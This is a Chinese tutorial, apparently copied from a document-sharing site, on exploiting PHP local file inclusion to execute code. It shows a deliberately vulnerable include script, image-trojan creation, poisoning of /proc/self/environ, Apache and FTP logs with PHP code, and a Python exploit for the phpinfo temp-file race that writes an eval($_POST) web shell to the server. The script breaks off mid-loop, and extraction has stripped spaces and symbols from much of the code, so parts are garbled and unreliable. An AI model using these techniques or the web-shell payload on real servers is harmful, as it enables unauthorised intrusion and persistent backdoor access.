利用本地包含漏洞执行任意代码.docx
《利用本地包含漏洞执行任意代码.docx》由会员分享,可在线阅读,更多相关《利用本地包含漏洞执行任意代码.docx(14页珍藏版)》请在冰点文库上搜索。
![利用本地包含漏洞执行任意代码.docx](https://file1.bingdoc.com/fileroot1/2023-5/9/0b9d71d5-a052-4584-856b-791a3ab883f7/0b9d71d5-a052-4584-856b-791a3ab883f71.gif)
利用本地包含漏洞执行任意代码
1 概述
文件包含(LocalFileInclude)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。
比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句
phpincludefuction.php?
>就可以调用内部定义的函数。
本地包含漏洞是PHP中一种典型的高危漏洞。
由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使webserver会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。
2 利用LFI执行PHP代码
2.1本地包含漏洞实例展示:
演示脚本文件test.php代码如下:
php
if(!
ini_get('display_errors')){
ini_set('display_errors','On');
}
error_reporting(E_ALL);
$f=$_GET["file"];
if($f){
require"".$f.".php";
}else{
print("NoFileIncluded");
}
?
>
在正常使用过程中,可能是这样子:
就包含了function这个文件,但是由于file参数没有过滤,我们可以自己提交参数内容,这个时候就导致了包含漏洞的出现。
比如提交:
index.php,所以会把shell.txt当成是木马执行。
在虚拟机搭建实例环境,
直接访问,不赋值file参数:
图1.不提交任何参数时的test.php
赋值file参数为/etc/passwd
图2.包含/etc/passwd文件
成功包含。
2.2自己上传文件并实现包含
这里主要是结合服务器一些文件上传点,比如头像上传、相册照片上传等,而后结合php的%00截断特性成功利用包含漏洞(php5.4之后已修复截断特性,本例中不再结合%00,其他请自己测试)。
假设我们可以自定义上传头像,头像文件在网站根目录的photo下,具体目录可以传上去之后查看图片Url信息。
首先,我们只做包含恶意代码的图片文件:
在windows下利用copy命令,shell.php为一句话木马(这里为了方便演示,我们用phpinfo();代替),photo.jpg问正常头像文件。
在命令行下执行:
copyphoto.jpg/b+shell.php/beval.jpg
图3.Windows下copy命令制作图片木马
此时eval.jpg和phpoto.jpg都可以正常打开
这种方法对于验证严格的上传点有用,其实很多时候我们可以简单的改一下后缀名,在php代码前加一个GIF89a就可绕过大多数检测。
将eval.jpg上传,并包含,效果如下图:
图4.包含图片木马效果
此时成功利用本地包含漏洞执行php代码。
2.3包含环境变量文件
Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。
内容如下图:
图5.BT5下/proc/self/environ文件内容
但是用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用。
首先,验证访问权限,看是否有权限读取该文件内容
图6.包含/proc/self/environ文件
在BT的server下是默认拒绝访问的。
权限如下:
图7.Environ文件的权限设置
为了方便演示,用一个有权限访问environ文件的环境。
正常包含如图:
图8.有权限读取envrion文件时效果
我们可以看到,当前的USER_AGENT变量被写进了这个文件,而USER_AGENT是可以伪造的,这里我利用firefox的UAControl进行伪造,首先编辑UAControl对于这个文章的useragent信息:
图9.修改User-agent信息
而后随便访问该网站上一个网页,再次包含environ文件:
图10.成功执行php代码
可以发现php代码已经执行。
2.4包含webserver日志文件
Apache的日志文件在LFI漏洞的利用中是非常常见的。
因为不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。
所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。
首先:
查看是否有权限进行包含
图11.默认access文件拒绝访问
同样默认拒绝。
图12.日志文件默认权限
下面找一个有权限的实战环境进行测试
可以包含httpd.conf查看日志文件位置以及文件名格式配置,这里就直接找到一个log进行利用(php_error.log),该文件会记录php在执行中出现的错误,
图13.php_error文件内容
所以我们直接访问test.php?
file=../
phpphpinfo();?
>.php,将会被记录下来。
这样便成功将php代码写进log文件。
直接访问:
图14.get请求中插入php代码
返回空白,这是由于webserver未开启报错。
包含后如图:
图15.成功包含error日志文件
成功执行php代码
在实际利用中,需要注意一下几个问题:
1) Access.log和error.log过大,这时候有可能会导致超时。
所以如果能包含其他文件那就包含其他文件。
2) 写入的代码被转义。
比如我们提交test.php?
file=../
phpphpinfo();?
>.php时,在
php 后面紧跟着一个空格,这个空格如果被转义成%20就会导致php代码执行失败,有时候写进access.log文件里的还可能是将两个尖括号<>也转义了的。
在实际测试中,用火狐、IE8都会转义,但是IE6不会转义。
对于所有以上情况,可以使用ie6进行利用,也可以使用NC进行直接提交GET请求。
同时如果webserver的short_tag开启的话,就不用担心空格被转义。
2.5包含其他日志文件
文件包含漏洞的实质是包含我们可以控制文件内容的文件,所以其他日志文件如果我们可控的话也是可以进行包含利用的。
这里以FTP的日志文件为例进行演示。
实际利用过程中要先得到目标系统的linux发行版本号、FTPserver的版本号,而后找默认日志目录。
第一步同样是测试权限,看是否有权限读取文件:
图16.FTP日志文件内容
如图,是可以包含的。
下面本地登录,但是用户名填:
phpphpinfo();?
>
图17.在登陆窗口插入php代码
成功包含后效果如下图:
图18.成功包含FTP日志文件
可以发现已经成功执行了php代码
2.6结合phpinfo包含临时文件
php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。
当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。
国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。
所以借助phpinfo()我们可以找出临时文件名并利用。
下面是一个python版的利用代码:
#!
/usr/bin/envpython
#encoding=utf-8
#Author:
idwar
#http:
//secer.org
'''
可能需要你改的几个地方:
1、host
2、port
3、request中的phpinfo页面名字及路径
4、hello_lfi() 函数中的url,即存在lfi的页面和参数
5、如果不成功或报错,尝试增加padding长度到7000、8000试试
6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
GoodLuck:
)
'''
importre
importurllib2
importhashlib
fromsocketimport*
fromtimeimportsleep
host='192.168.92.132'
#host=gethostbyname(domain)
port=80
shell_name=hashlib.md5(host).hexdigest()+'.php'
pattern=pile(r'''
tmpname
\s=>\s(.*)\W*error]''')
payload='''idwar
phpfputs(fopen('./'''+shell_name+'''\',"w"),"idwarwashere
phpeval(\$_POST[a]);?
>")?
>\r'''
req='''-----------------------------7dbff1ded0714\r
Content-Disposition:
form-data;name="dummyname";filename="test.txt"\r
Content-Type:
text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r'''%payload
padding='A'*8000
request='''POST/test/1.php?
a='''+padding+'''HTTP/1.0\r
Cookie:
PHPSESSID=q249llvfromc1or39t6tvnun42;othercookie='''+padding+'''\r
HTTP_ACCEPT:
'''+padding+'''\r
HTTP_USER_AGENT:
'''+padding+'''\r
HTTP_ACCEPT_LANGUAGE:
'''+padding+'''\r
HTTP_PRAGMA:
'''+padding+'''\r
Content-Type:
multipart/form-data;boundary=---------------------------7dbff1ded0714\r
Content-Length:
%s\r
Host:
%s\r
\r
%s'''%(len(req),host,req)
defhello_lfi():
while1:
s=socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
s.send(request)
data=''
whiler'